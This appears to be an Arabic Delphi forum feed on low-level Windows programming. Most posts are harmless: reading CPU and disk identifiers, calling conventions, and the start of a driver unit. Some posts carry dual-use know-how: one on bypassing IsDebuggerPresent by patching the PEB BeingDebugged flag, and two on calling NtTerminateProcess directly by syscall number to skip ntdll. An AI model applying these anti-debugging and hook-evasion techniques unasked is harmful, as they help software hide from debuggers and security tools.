<![CDATA[delphi4arab منتديات دلفي للعرب - دلفي والتعامل مع النظام و الذاكرة]]> https://delphi4arab.net/forum/ Thu, 12 Nov 2026 00:08:15 +0000 MyBB <![CDATA[سؤال حول كتابة Plugin لتجاوز دالة IsDebuggerPresent]]> https://delphi4arab.net/forum/showthread.php?tid=10732 Wed, 01 Apr 2020 19:09:33 +0100 Rever7eR]]> https://delphi4arab.net/forum/showthread.php?tid=10732
أردت كتابة اضافة للمنقح لتجاوز دالة IsDebuggerPresent وواجهتني بعض المشاكل .
الفكرة كالتالي

1- جلب مقبض الملف المحمل الى المنقح لنسميه Target مثلا
2- استعمال الدالة NtQueryInformationProcess


PHP كود :
__kernel_entry NTSTATUS NtQueryInformationProcess(
  IN HANDLE           ProcessHandle,
  IN PROCESSINFOCLASS ProcessInformationClass,
  OUT PVOID           ProcessInformation,
  IN ULONG            ProcessInformationLength,
  OUT PULONG          ReturnLength
); 



البنية ProcessInformationClass تقوم بجلب مؤشر للبنية PEB التي تحوي على ال BeingDebugged Flag و الذي تستعمله الدالة IsDebuggerPresent في التعرف على المنقح !
3- التغيير على البايت BeingDebugged  يحتاج دالة WriteProcessMemory على ما أعتقد ؟
4- استعمال الدالة  ReadProcessMemory لقراءة البنية PEB
5- اكمال سير البرنامج
هل تحليلي صحيح ؟

المشاكل التي واجهتني حتى الان هي :

كيف احصل على مقبض ملف تنفيذي و هو قيد التنقيح ؟

كيف استعمل دالة WriteProcessMemory للتغيير على البايت BeingDebugged ؟

(قمت بالتجربة سابقا و فشلت في تغييرها , بدل القيمة 1 مثلا احصل عى قيمة عشوائية مثل 99...) طبعا القيمة غير مهمة مادامت لا تساوي الصفر , لكن اريد ان احصل على القيمة التي احددها انا , و ليس قيمة عشوائية ان شاء الله تكون مفهومة



[صورة: YkFGPPD.png]


حاليا اقوم بتجربة على ملف تنفيذي خارجي سميته Target و يستعمل الدالة IsDebuggerPresent


PHP كود :
type
  //-----------------------------------------
 PEB = record
    Reserved1: array [0 .. 1] of Byte;
    BeingDebugged: Byte;
    Reserved2: Byte;
    Reserved3: array [0 .. 1] of Pointer;
    Ldr: Pointer;
    Reserved4: array [0 .. 102] of Byte;
    Reserved5: array [0 .. 51] of Pointer;
    PostProcessInitRoutine: Pointer;
    Reserved6: array [0 .. 127] of Byte;
    Reserved7: Pointer;
    SessionId: ULONG;
  end;
  //-----------------------------------------
    PROCESS_BASIC_INFORMATION = record
    Reserved1: Pointer;
    PebBaseAddress: Pointer;
    Reserved2: array [0 .. 1] of Pointer;
    UniqueProcessId: cardinal;
    Reserved3: Pointer;
  end;
  //-----------------------------------------
function NtQueryInformationProcess(ProcessHandle: THANDLE; ProcessInformationClass: DWORD; ProcessInformation: Pointer;
ProcessInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall; external 'ntdll.dll';

procedure TForm1.Button1Click(Sender: TObject);
  var
    TargetHandle : THandle;
    ProcessBasicInfo : PROCESS_BASIC_INFORMATION;
    length:cardinal;
    buf : PAnsiChar;
    EB : PEB;
    buffer : byte;
begin
    TargetHandle := findwindow(nil,'Target');
    memo1.Lines.add('handle : $' +IntToHex(TargetHandle,8));
    NtQueryInformationProcess(TargetHandle,0,@ProcessBasicInfo,sizeof(ProcessBasicInfo),@length);
    memo1.lines.Add('Pointer to PEB  : $' + Format('%p', [ProcessBasicInfo.PebBaseAddress]));
    ReadProcessMemory(TargetHandle, @ProcessBasicInfo.PebBaseAddress, @EB, sizeof(PEB), length);
    Memo1.Lines.Add('Being Debugged : ' + IntToStr(EB.BeingDebugged));
    end;
end. 
]]>
أردت كتابة اضافة للمنقح لتجاوز دالة IsDebuggerPresent وواجهتني بعض المشاكل .
الفكرة كالتالي

1- جلب مقبض الملف المحمل الى المنقح لنسميه Target مثلا
2- استعمال الدالة NtQueryInformationProcess


PHP كود :
__kernel_entry NTSTATUS NtQueryInformationProcess(
  IN HANDLE           ProcessHandle,
  IN PROCESSINFOCLASS ProcessInformationClass,
  OUT PVOID           ProcessInformation,
  IN ULONG            ProcessInformationLength,
  OUT PULONG          ReturnLength
); 



البنية ProcessInformationClass تقوم بجلب مؤشر للبنية PEB التي تحوي على ال BeingDebugged Flag و الذي تستعمله الدالة IsDebuggerPresent في التعرف على المنقح !
3- التغيير على البايت BeingDebugged  يحتاج دالة WriteProcessMemory على ما أعتقد ؟
4- استعمال الدالة  ReadProcessMemory لقراءة البنية PEB
5- اكمال سير البرنامج
هل تحليلي صحيح ؟

المشاكل التي واجهتني حتى الان هي :

كيف احصل على مقبض ملف تنفيذي و هو قيد التنقيح ؟

كيف استعمل دالة WriteProcessMemory للتغيير على البايت BeingDebugged ؟

(قمت بالتجربة سابقا و فشلت في تغييرها , بدل القيمة 1 مثلا احصل عى قيمة عشوائية مثل 99...) طبعا القيمة غير مهمة مادامت لا تساوي الصفر , لكن اريد ان احصل على القيمة التي احددها انا , و ليس قيمة عشوائية ان شاء الله تكون مفهومة



[صورة: YkFGPPD.png]


حاليا اقوم بتجربة على ملف تنفيذي خارجي سميته Target و يستعمل الدالة IsDebuggerPresent


PHP كود :
type
  //-----------------------------------------
 PEB = record
    Reserved1: array [0 .. 1] of Byte;
    BeingDebugged: Byte;
    Reserved2: Byte;
    Reserved3: array [0 .. 1] of Pointer;
    Ldr: Pointer;
    Reserved4: array [0 .. 102] of Byte;
    Reserved5: array [0 .. 51] of Pointer;
    PostProcessInitRoutine: Pointer;
    Reserved6: array [0 .. 127] of Byte;
    Reserved7: Pointer;
    SessionId: ULONG;
  end;
  //-----------------------------------------
    PROCESS_BASIC_INFORMATION = record
    Reserved1: Pointer;
    PebBaseAddress: Pointer;
    Reserved2: array [0 .. 1] of Pointer;
    UniqueProcessId: cardinal;
    Reserved3: Pointer;
  end;
  //-----------------------------------------
function NtQueryInformationProcess(ProcessHandle: THANDLE; ProcessInformationClass: DWORD; ProcessInformation: Pointer;
ProcessInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall; external 'ntdll.dll';

procedure TForm1.Button1Click(Sender: TObject);
  var
    TargetHandle : THandle;
    ProcessBasicInfo : PROCESS_BASIC_INFORMATION;
    length:cardinal;
    buf : PAnsiChar;
    EB : PEB;
    buffer : byte;
begin
    TargetHandle := findwindow(nil,'Target');
    memo1.Lines.add('handle : $' +IntToHex(TargetHandle,8));
    NtQueryInformationProcess(TargetHandle,0,@ProcessBasicInfo,sizeof(ProcessBasicInfo),@length);
    memo1.lines.Add('Pointer to PEB  : $' + Format('%p', [ProcessBasicInfo.PebBaseAddress]));
    ReadProcessMemory(TargetHandle, @ProcessBasicInfo.PebBaseAddress, @EB, sizeof(PEB), length);
    Memo1.Lines.Add('Being Debugged : ' + IntToStr(EB.BeingDebugged));
    end;
end. 
]]> <![CDATA[إستدعاء & إستخدام الدالة ZwTerminateProcess من User Mode]]> https://delphi4arab.net/forum/showthread.php?tid=9594 Sun, 22 Jul 2018 09:26:33 +0100 Agmcz]]> https://delphi4arab.net/forum/showthread.php?tid=9594
إستدعاء دوال Native API مباشرة من User Mode بدون تصريح
بالإعتماد على Syscall Number

ومنه إجراء لإستخدام الدالة ZwTerminateProcess مع دعم متعدد لأنظمة التشغيل (XP/ 7/ 8/ 8.1/ 10 Win 32Bit)
تم التجربة على كل من الأنظمة (XP/7/8.1/10)

إقباس الفكرة كان من هنا إستدعاء & إستخدام Native Api من الـ User Mode

PHP كود :
function ZwTerminateProcess(hProcess: DWORD; uCode: DWORD): NTSTATUS; stdcall; assembler;
{
  Coded By Agmcz
  Support for all operating systems [XP, 7, 8, 8.1, 10; 32bit]
  Tested on Windows XP/7/8.1/10.
}
asm
{$IFDEF WIN32}
  MOV EAX, FS:[$C0]
  CMP EAX, $0
  JNZ @Exit
  MOV EAX, FS:[$30]
  MOV EAX, [EAX+$A4]
  SUB EAX, $5
  JE @WinXP
  DEC EAX
  JE @Win8_81
  SUB EAX, $4
  JNE @Sys
  MOV EAX, $0024
  JMP @Sys
  @Win8_81:
  MOV EAX, EBX
  MOV EAX, [EAX+$A8]
  DEC EAX
  JE @Win7
  DEC EAX
  SUB EAX, $2
  JAE @Sys
  MOV EAX, $0023
  JMP @Sys
  @Win7:
  MOV EAX, $0172
  JMP @Sys
  @WinXP:
  MOV EAX, $0101
  @Sys:
  LEA EDX,[EBP+$8]
  INT $2E
  @Exit:
{$ENDIF}
end; 
]]>
إستدعاء دوال Native API مباشرة من User Mode بدون تصريح
بالإعتماد على Syscall Number

ومنه إجراء لإستخدام الدالة ZwTerminateProcess مع دعم متعدد لأنظمة التشغيل (XP/ 7/ 8/ 8.1/ 10 Win 32Bit)
تم التجربة على كل من الأنظمة (XP/7/8.1/10)

إقباس الفكرة كان من هنا إستدعاء & إستخدام Native Api من الـ User Mode

PHP كود :
function ZwTerminateProcess(hProcess: DWORD; uCode: DWORD): NTSTATUS; stdcall; assembler;
{
  Coded By Agmcz
  Support for all operating systems [XP, 7, 8, 8.1, 10; 32bit]
  Tested on Windows XP/7/8.1/10.
}
asm
{$IFDEF WIN32}
  MOV EAX, FS:[$C0]
  CMP EAX, $0
  JNZ @Exit
  MOV EAX, FS:[$30]
  MOV EAX, [EAX+$A4]
  SUB EAX, $5
  JE @WinXP
  DEC EAX
  JE @Win8_81
  SUB EAX, $4
  JNE @Sys
  MOV EAX, $0024
  JMP @Sys
  @Win8_81:
  MOV EAX, EBX
  MOV EAX, [EAX+$A8]
  DEC EAX
  JE @Win7
  DEC EAX
  SUB EAX, $2
  JAE @Sys
  MOV EAX, $0023
  JMP @Sys
  @Win7:
  MOV EAX, $0172
  JMP @Sys
  @WinXP:
  MOV EAX, $0101
  @Sys:
  LEA EDX,[EBP+$8]
  INT $2E
  @Exit:
{$ENDIF}
end; 
]]> <![CDATA[الحصول على اسم الـ cpu]]> https://delphi4arab.net/forum/showthread.php?tid=7869 Sat, 21 May 2016 20:26:11 +0100 أبو معاذ]]> https://delphi4arab.net/forum/showthread.php?tid=7869 كما هو مشار إليه في العنوان :
وجدتها ، استفدت منها ، قلت لعل هناك من يستفيد منها ، فنقلتها لكم : Blush

كود :
function CPUname: string; var   Reg: TRegistry; begin   CPUname := '';   Reg := TRegistry.Create;   try     Reg.RootKey := HKEY_LOCAL_MACHINE;     if Reg.OpenKey('\Hardware\Description\System\CentralProcessor\0', False) then       CPUname := Reg.ReadString('Identifier');   finally     Reg.Free;   end; end;
]]> كما هو مشار إليه في العنوان :
وجدتها ، استفدت منها ، قلت لعل هناك من يستفيد منها ، فنقلتها لكم : Blush

كود :
function CPUname: string; var   Reg: TRegistry; begin   CPUname := '';   Reg := TRegistry.Create;   try     Reg.RootKey := HKEY_LOCAL_MACHINE;     if Reg.OpenKey('\Hardware\Description\System\CentralProcessor\0', False) then       CPUname := Reg.ReadString('Identifier');   finally     Reg.Free;   end; end;
]]> <![CDATA[دالة التعرف على رقم التلسلي الفزيائي القرص الصلب]]> https://delphi4arab.net/forum/showthread.php?tid=7781 Sun, 01 May 2016 09:52:14 +0100 أبو معاذ]]> https://delphi4arab.net/forum/showthread.php?tid=7781 منذ مدة و أنا أبحث عن دالة استخراج رقم القرص الصلب ، دون استعمال مكون خارجي ،
وجدت على الكود ، عبارة عن برنامج :  Console Application
ولكن يمكن تطويره .
جربته عندي في نظام الويندوز 7 64 بت ، تمت العملية بنجاح .
أضعه هنا بين يدي إخواني ،
و أرجو من الإخوة تجربته على جميع الأنظمة و أنواع القرص الصلب ، و إفادتنا بالنتيجة. Idea

كود :
program Project1; {$APPTYPE CONSOLE} uses   SysUtils,   ActiveX,   ComObj,   Variants; var MonSerie1 , MonSerie : string ; function GetDiskSerial(const Drive:AnsiChar):string; var   FSWbemLocator  : OLEVariant;   objWMIService  : OLEVariant;   colDiskDrives  : OLEVariant;   colLogicalDisks: OLEVariant;   colPartitions  : OLEVariant;   objDiskDrive   : OLEVariant;   objPartition   : OLEVariant;   objLogicalDisk : OLEVariant;   oEnumDiskDrive : IEnumvariant;   oEnumPartition : IEnumvariant;   oEnumLogical   : IEnumvariant;   iValue         : LongWord;   DeviceID       : string; begin;   Result:='';   FSWbemLocator := CreateOleObject('WbemScripting.SWbemLocator');   objWMIService := FSWbemLocator.ConnectServer('localhost', 'root\CIMV2', '', ''); //Connect to the WMI   colDiskDrives := objWMIService.ExecQuery('SELECT * FROM Win32_DiskDrive','WQL',0);   oEnumDiskDrive:= IUnknown(colDiskDrives._NewEnum) as IEnumVariant;   while oEnumDiskDrive.Next(1, objDiskDrive, iValue) = 0 do   begin    DeviceID        := StringReplace(objDiskDrive.DeviceID,'\','\\',[rfReplaceAll]); //Escape the `\` chars in the DeviceID value because the '\' is a reserved character in WMI.    colPartitions   := objWMIService.ExecQuery(Format('ASSOCIATORS OF {Win32_DiskDrive.DeviceID="%s"} WHERE AssocClass = Win32_DiskDriveToDiskPartition',[DeviceID]));//link the Win32_DiskDrive class with the Win32_DiskDriveToDiskPartition class    oEnumPartition  := IUnknown(colPartitions._NewEnum) as IEnumVariant;     while oEnumPartition.Next(1, objPartition, iValue) = 0 do      begin         colLogicalDisks := objWMIService.ExecQuery('ASSOCIATORS OF {Win32_DiskPartition.DeviceID="'+objPartition.DeviceID+'"} WHERE AssocClass = Win32_LogicalDiskToPartition'); //link the Win32_DiskPartition class with theWin32_LogicalDiskToPartition class.         oEnumLogical  := IUnknown(colLogicalDisks._NewEnum) as IEnumVariant;           while oEnumLogical.Next(1, objLogicalDisk, iValue) = 0 do           begin             if objLogicalDisk.DeviceID=(Drive+':')  then //compare the device id             begin                 Result:=objDiskDrive.SerialNumber;                 Exit;             end;            objLogicalDisk:=Unassigned;           end;         objPartition:=Unassigned;      end;   end; end; begin  try     CoInitialize(nil);     try       MonSerie1 := GetDiskSerial('C');       MonSerie := TrimLeft(TrimRight(MonSerie1));       Writeln(MonSerie);       Readln;     finally     CoUninitialize;     end;  except     on E:Exception do     begin         Writeln(E.Classname, ':', E.Message);         Readln;     end;   end; end.
]]> منذ مدة و أنا أبحث عن دالة استخراج رقم القرص الصلب ، دون استعمال مكون خارجي ،
وجدت على الكود ، عبارة عن برنامج :  Console Application
ولكن يمكن تطويره .
جربته عندي في نظام الويندوز 7 64 بت ، تمت العملية بنجاح .
أضعه هنا بين يدي إخواني ،
و أرجو من الإخوة تجربته على جميع الأنظمة و أنواع القرص الصلب ، و إفادتنا بالنتيجة. Idea

كود :
program Project1; {$APPTYPE CONSOLE} uses   SysUtils,   ActiveX,   ComObj,   Variants; var MonSerie1 , MonSerie : string ; function GetDiskSerial(const Drive:AnsiChar):string; var   FSWbemLocator  : OLEVariant;   objWMIService  : OLEVariant;   colDiskDrives  : OLEVariant;   colLogicalDisks: OLEVariant;   colPartitions  : OLEVariant;   objDiskDrive   : OLEVariant;   objPartition   : OLEVariant;   objLogicalDisk : OLEVariant;   oEnumDiskDrive : IEnumvariant;   oEnumPartition : IEnumvariant;   oEnumLogical   : IEnumvariant;   iValue         : LongWord;   DeviceID       : string; begin;   Result:='';   FSWbemLocator := CreateOleObject('WbemScripting.SWbemLocator');   objWMIService := FSWbemLocator.ConnectServer('localhost', 'root\CIMV2', '', ''); //Connect to the WMI   colDiskDrives := objWMIService.ExecQuery('SELECT * FROM Win32_DiskDrive','WQL',0);   oEnumDiskDrive:= IUnknown(colDiskDrives._NewEnum) as IEnumVariant;   while oEnumDiskDrive.Next(1, objDiskDrive, iValue) = 0 do   begin    DeviceID        := StringReplace(objDiskDrive.DeviceID,'\','\\',[rfReplaceAll]); //Escape the `\` chars in the DeviceID value because the '\' is a reserved character in WMI.    colPartitions   := objWMIService.ExecQuery(Format('ASSOCIATORS OF {Win32_DiskDrive.DeviceID="%s"} WHERE AssocClass = Win32_DiskDriveToDiskPartition',[DeviceID]));//link the Win32_DiskDrive class with the Win32_DiskDriveToDiskPartition class    oEnumPartition  := IUnknown(colPartitions._NewEnum) as IEnumVariant;     while oEnumPartition.Next(1, objPartition, iValue) = 0 do      begin         colLogicalDisks := objWMIService.ExecQuery('ASSOCIATORS OF {Win32_DiskPartition.DeviceID="'+objPartition.DeviceID+'"} WHERE AssocClass = Win32_LogicalDiskToPartition'); //link the Win32_DiskPartition class with theWin32_LogicalDiskToPartition class.         oEnumLogical  := IUnknown(colLogicalDisks._NewEnum) as IEnumVariant;           while oEnumLogical.Next(1, objLogicalDisk, iValue) = 0 do           begin             if objLogicalDisk.DeviceID=(Drive+':')  then //compare the device id             begin                 Result:=objDiskDrive.SerialNumber;                 Exit;             end;            objLogicalDisk:=Unassigned;           end;         objPartition:=Unassigned;      end;   end; end; begin  try     CoInitialize(nil);     try       MonSerie1 := GetDiskSerial('C');       MonSerie := TrimLeft(TrimRight(MonSerie1));       Writeln(MonSerie);       Readln;     finally     CoUninitialize;     end;  except     on E:Exception do     begin         Writeln(E.Classname, ':', E.Message);         Readln;     end;   end; end.
]]> <![CDATA[أمثلة للتعامل مع النظام]]> https://delphi4arab.net/forum/showthread.php?tid=3941 Fri, 02 Mar 2012 11:33:22 +0100 kachwahed]]> https://delphi4arab.net/forum/showthread.php?tid=3941 السلام عليكم
كنت أبحث ملفات مصدرية مشابهة لعمل الأداة DevCon
كود :
http://support.microsoft.com/kb/311272
فوجدت بعض الأمثلة (تبدو قديمة) لـ Markus Fuchs على دلفي 5 Smile
كود :
http://www.yeahware.com/
أصلحت بعض الهفوات مثل:
كود :
var vi: TOSVersionInfo; begin vi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);//<- Initialize vi GetVersionEx(vi);
وعدلت عليها لتوافق دلفي 7
حذفت الانذارات في بعض الأمثلة لتسريع الـ Compile
حذف التطبيقات وتركت السورس في المرفق
ينقص من هذا:
كود :
http://www.yeahware.com/download/enable.zip
لأنه يستخدم نسخة معدلة من SetupAPI مختلفة وثقيلة Smile
بالتوفيق.

.7z   MarkusExamples.7z (الحجم : 312.87 ك ب / التحميلات : 419) ]]> السلام عليكم
كنت أبحث ملفات مصدرية مشابهة لعمل الأداة DevCon
كود :
http://support.microsoft.com/kb/311272
فوجدت بعض الأمثلة (تبدو قديمة) لـ Markus Fuchs على دلفي 5 Smile
كود :
http://www.yeahware.com/
أصلحت بعض الهفوات مثل:
كود :
var vi: TOSVersionInfo; begin vi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);//<- Initialize vi GetVersionEx(vi);
وعدلت عليها لتوافق دلفي 7
حذفت الانذارات في بعض الأمثلة لتسريع الـ Compile
حذف التطبيقات وتركت السورس في المرفق
ينقص من هذا:
كود :
http://www.yeahware.com/download/enable.zip
لأنه يستخدم نسخة معدلة من SetupAPI مختلفة وثقيلة Smile
بالتوفيق.

.7z   MarkusExamples.7z (الحجم : 312.87 ك ب / التحميلات : 419) ]]> <![CDATA[اتفاقيات الاستدعاء Calling Conventions مع المناهج]]> https://delphi4arab.net/forum/showthread.php?tid=3574 Mon, 07 Nov 2011 15:40:16 +0100 kachwahed]]> https://delphi4arab.net/forum/showthread.php?tid=3574 السلام عليكم ورحمة الله
Calling Conventions أو "اتفاقيات الاستدعاء" (الترجمة مباشرة وحرفية وقد لا توحي بالمقصود)
يقصد بها طريقة تمرير المعلمات (Parameters) إلى المناهج (Routine)
كود :
http://en.wikipedia.org/wiki/Calling_convention
وهي في إصدارات دلفي 32bit خمسة شهيرة: register, pascal, cdecl, stdcall, safecall
مثال تمرير باستخدام cdecl:
كود :
function MyFunction(X, Y: Real): Real; [color=Blue]cdecl[/color];
من ملفات الـ Help في دلفي نستخلص ما يلي:
تحدد طرق تمرير الملعمات (الباراميترات):
1- ترتيب إرسال القيم (من اليمين إلى اليسار أو العكس)
2- إزالة (أو عدم إزالة) المغيرات من المكدس (Stack) بعد الخروج من المنهج
3- طريقة التعامل مع الاستثناءات وإصدار رسائل الأخطاء Exception
4- موضع تخزين المعلمات (في المكدس أو في سجلات الـ CPU)

التوجيه الافتراضي في دلفي هو register، إذا لم تكتب أي شيء فكأنك كتبت register بعد اسم المنهج.


التوجيه، ترتيب الإرسال، المسؤول عن حذف المتغيرات، موضع التخزين
register ، من اليسار إلى اليمين، المنهج نفسه، السجلات
pascal، من اليسار إلى اليمين، المنهج نفسه، المكدس
cdecl، من اليمين إلى اليسار، مستدعي المنهج، المكدس
stdcall، من اليمين إلى اليسار، المنهج نفسه، المكدس
safecall، من اليمين إلى اليسار، المنهج نفسه، المكدس

ملاحظات:
- يستخدم التوجيه register حتى ثلاث سجلات لتخزين المعلمات، وهو أسرع عند التنفيذ طبعا
- التوجيه safecall يستخدم لتوجيه رسائل الاستثناءات، في بيئة Windows يتم إشعار واجهات COM (التي تورث من IDispatch) لإثارة الاستثناءات
- عند التعامل مع API يستخدم عادة stdcall أو safecall
- توجيه pascal لا زال فعال لأغراض التوافقية (Compatibility)، في حين التوجيهات near و far و export لم تعد تعمل وتركت لنفس السبب (مخصصة لبيئة 16 bit).

انتهى.

Peter Below يشرح بشكل مماثل (بمثال) نفس الفكرة:
كود :
http://www.swissdelphicenter.ch/torry/showcode.php?id=1233

الآن شيء غريب!
أعتقد أن ترتيب تمرير المعلمات ينبغي أن يتم التفصيل فيه
صحيح إذا كتبنا:
PHP كود :
function MyFunction(X, Y: Real): Real; register; 
فإن تمرير المعلمات سيكون من اليسار إلى اليمين
أي: بدء بـ x ثم y وليس العكس
لكن هذا من حيث وصول القيم إلى MyFunction (أي دفعها إلى المكدس) ولكن ليس من حيث جلب قيم X و Y
يتضح ذلك إذا حاولنا مع دالتين تأتيان بقيمين X و Y
PHP كود :
function MyFunction(getX(), getY(): Real): Real; register; 
تخيل أن هناك أوامر تنفذ في getX() وgetY() أيهما سينفذ أولا!
الذي لاحظت أن جميع التوجهات يُؤتى بها من اليمين إلى اليسار (ما عدا pascal)
ثم توجه إلى المنهج كما هو مألوف
المثال في المرفق يوضح الفكرة.

إذا أخطأ في شيء فلا تترددوا بالتعقيب Smile

.7z   CallingConventions.7z (الحجم : 531 بايت / التحميلات : 74) ]]> السلام عليكم ورحمة الله
Calling Conventions أو "اتفاقيات الاستدعاء" (الترجمة مباشرة وحرفية وقد لا توحي بالمقصود)
يقصد بها طريقة تمرير المعلمات (Parameters) إلى المناهج (Routine)
كود :
http://en.wikipedia.org/wiki/Calling_convention
وهي في إصدارات دلفي 32bit خمسة شهيرة: register, pascal, cdecl, stdcall, safecall
مثال تمرير باستخدام cdecl:
كود :
function MyFunction(X, Y: Real): Real; [color=Blue]cdecl[/color];
من ملفات الـ Help في دلفي نستخلص ما يلي:
تحدد طرق تمرير الملعمات (الباراميترات):
1- ترتيب إرسال القيم (من اليمين إلى اليسار أو العكس)
2- إزالة (أو عدم إزالة) المغيرات من المكدس (Stack) بعد الخروج من المنهج
3- طريقة التعامل مع الاستثناءات وإصدار رسائل الأخطاء Exception
4- موضع تخزين المعلمات (في المكدس أو في سجلات الـ CPU)

التوجيه الافتراضي في دلفي هو register، إذا لم تكتب أي شيء فكأنك كتبت register بعد اسم المنهج.


التوجيه، ترتيب الإرسال، المسؤول عن حذف المتغيرات، موضع التخزين
register ، من اليسار إلى اليمين، المنهج نفسه، السجلات
pascal، من اليسار إلى اليمين، المنهج نفسه، المكدس
cdecl، من اليمين إلى اليسار، مستدعي المنهج، المكدس
stdcall، من اليمين إلى اليسار، المنهج نفسه، المكدس
safecall، من اليمين إلى اليسار، المنهج نفسه، المكدس

ملاحظات:
- يستخدم التوجيه register حتى ثلاث سجلات لتخزين المعلمات، وهو أسرع عند التنفيذ طبعا
- التوجيه safecall يستخدم لتوجيه رسائل الاستثناءات، في بيئة Windows يتم إشعار واجهات COM (التي تورث من IDispatch) لإثارة الاستثناءات
- عند التعامل مع API يستخدم عادة stdcall أو safecall
- توجيه pascal لا زال فعال لأغراض التوافقية (Compatibility)، في حين التوجيهات near و far و export لم تعد تعمل وتركت لنفس السبب (مخصصة لبيئة 16 bit).

انتهى.

Peter Below يشرح بشكل مماثل (بمثال) نفس الفكرة:
كود :
http://www.swissdelphicenter.ch/torry/showcode.php?id=1233

الآن شيء غريب!
أعتقد أن ترتيب تمرير المعلمات ينبغي أن يتم التفصيل فيه
صحيح إذا كتبنا:
PHP كود :
function MyFunction(X, Y: Real): Real; register; 
فإن تمرير المعلمات سيكون من اليسار إلى اليمين
أي: بدء بـ x ثم y وليس العكس
لكن هذا من حيث وصول القيم إلى MyFunction (أي دفعها إلى المكدس) ولكن ليس من حيث جلب قيم X و Y
يتضح ذلك إذا حاولنا مع دالتين تأتيان بقيمين X و Y
PHP كود :
function MyFunction(getX(), getY(): Real): Real; register; 
تخيل أن هناك أوامر تنفذ في getX() وgetY() أيهما سينفذ أولا!
الذي لاحظت أن جميع التوجهات يُؤتى بها من اليمين إلى اليسار (ما عدا pascal)
ثم توجه إلى المنهج كما هو مألوف
المثال في المرفق يوضح الفكرة.

إذا أخطأ في شيء فلا تترددوا بالتعقيب Smile

.7z   CallingConventions.7z (الحجم : 531 بايت / التحميلات : 74) ]]> <![CDATA[إستدعاء & إستخدام Native Api من الـ User Mode]]> https://delphi4arab.net/forum/showthread.php?tid=2704 Thu, 13 Jan 2011 17:42:17 +0100 TF6M]]> https://delphi4arab.net/forum/showthread.php?tid=2704 السلام عليكم و رحمة الله و بركاته

- يمكن إستدعاء روتينات Ntxxx من الـ User Mode , دون الحاجة إلى تصريح تصدير الدالة من NtDLL
آلية العملية بسيطة , يتم الإنتهاء من الـ SysTem Call الى قلب النظام (Win32.sys & NtosKrnl.exe)
حيث يحدد طبيعة الإستدعاء (Gui or Native) , على أساس قيمة ServiceTable (.)

- يتم تمرير بيانات الإستدعاء عن طريق SysEnter = $2E , تعتبر بوابة الكيرنل مود و كتعريف بسيط
هي عبارة عن روتين ينفذ عن إستدعاء Ntxxx/Zwxxx أو عند تنفيذ المقاطعة Int $2E من اليوزر مود(..)

- للـ SysEnter , بارامتران الأول يسجل في EAX و الثاني في الـ EDX
EAX سيؤشر إلى ترتيب الدالة المستهدفية أو الموافقة لـ SysCall في ServiceTable
EDX سيؤشر إلى بارامترات الدالة المستهدفة المحجوزة في الـ Stack

- مثال , دالة NtTerminateProcess , تنقيح المكتبة NtDLL بـ IDA Pro
كود :
.text:7C91DE50 public ZwTerminateProcess .text:7C91DE50 ZwTerminateProcess proc near .text:7C91DE50 .text:7C91DE50 mov eax, [COLOR=Red]101h[/COLOR] ; NtTerminateProcess .text:7C91DE55 mov edx, [COLOR=Red]7FFE0300h[/COLOR] .text:7C91DE5A call dword ptr [edx] .text:7C91DE5C retn 8 .text:7C91DE5C ZwTerminateProcess endp
- الفكرة واضحة الآن , يكفي دفع ببرامترات الدالة :
كود :
Asm push [COLOR=Blue]Dword(-1)[/COLOR] Push[COLOR=Blue] 0[/COLOR] mov eax, [COLOR=Red]101h[/COLOR] // TerminateProcess mov edx,[COLOR=Red]$7FFE0300[/COLOR] call dword ptr [edx] ret 8 End;
- الأن يمكن الإستغناء على إعادة تصريح التصدير & مساحة أقل & سرعة تنفيذ (Inline) .
- أيضا يمكن إستغلال الطريقة من الكيرنل مود , لم أحضر مثال بعد [صورة: icon10.gif] .
بالتوفيق,,]]> السلام عليكم و رحمة الله و بركاته

- يمكن إستدعاء روتينات Ntxxx من الـ User Mode , دون الحاجة إلى تصريح تصدير الدالة من NtDLL
آلية العملية بسيطة , يتم الإنتهاء من الـ SysTem Call الى قلب النظام (Win32.sys & NtosKrnl.exe)
حيث يحدد طبيعة الإستدعاء (Gui or Native) , على أساس قيمة ServiceTable (.)

- يتم تمرير بيانات الإستدعاء عن طريق SysEnter = $2E , تعتبر بوابة الكيرنل مود و كتعريف بسيط
هي عبارة عن روتين ينفذ عن إستدعاء Ntxxx/Zwxxx أو عند تنفيذ المقاطعة Int $2E من اليوزر مود(..)

- للـ SysEnter , بارامتران الأول يسجل في EAX و الثاني في الـ EDX
EAX سيؤشر إلى ترتيب الدالة المستهدفية أو الموافقة لـ SysCall في ServiceTable
EDX سيؤشر إلى بارامترات الدالة المستهدفة المحجوزة في الـ Stack

- مثال , دالة NtTerminateProcess , تنقيح المكتبة NtDLL بـ IDA Pro
كود :
.text:7C91DE50 public ZwTerminateProcess .text:7C91DE50 ZwTerminateProcess proc near .text:7C91DE50 .text:7C91DE50 mov eax, [COLOR=Red]101h[/COLOR] ; NtTerminateProcess .text:7C91DE55 mov edx, [COLOR=Red]7FFE0300h[/COLOR] .text:7C91DE5A call dword ptr [edx] .text:7C91DE5C retn 8 .text:7C91DE5C ZwTerminateProcess endp
- الفكرة واضحة الآن , يكفي دفع ببرامترات الدالة :
كود :
Asm push [COLOR=Blue]Dword(-1)[/COLOR] Push[COLOR=Blue] 0[/COLOR] mov eax, [COLOR=Red]101h[/COLOR] // TerminateProcess mov edx,[COLOR=Red]$7FFE0300[/COLOR] call dword ptr [edx] ret 8 End;
- الأن يمكن الإستغناء على إعادة تصريح التصدير & مساحة أقل & سرعة تنفيذ (Inline) .
- أيضا يمكن إستغلال الطريقة من الكيرنل مود , لم أحضر مثال بعد [صورة: icon10.gif] .
بالتوفيق,,]]> <![CDATA[GetOSinfo تحديد نسخة النظام & BuildNumber]]> https://delphi4arab.net/forum/showthread.php?tid=2585 Mon, 22 Nov 2010 00:43:29 +0100 TF6M]]> https://delphi4arab.net/forum/showthread.php?tid=2585 - تحديد نسخة النظام المستخدم من الكيرنل , RtlGetVersion & NtBuilder
PHP كود :
{*******************************************************}
{       Open source sample.                             }
{       Free to use.                                    }
{       Coded By TF6M | 22-11-2010 Www.Delphi4Arab.Com  }
{*******************************************************}
Unit GetOSinfo;
{$WARNINGS OFF}{$HINTS OFF}
{$OPTIMIZATION ON}{$OverFlowChecks Off}
interface

Uses nt_status, ntoskrnl;

function _DriverEntry(DriverObject:PDriverObject;
                      RegistryPath:PUnicodeString
                      ):NTSTATUS; stdcall;

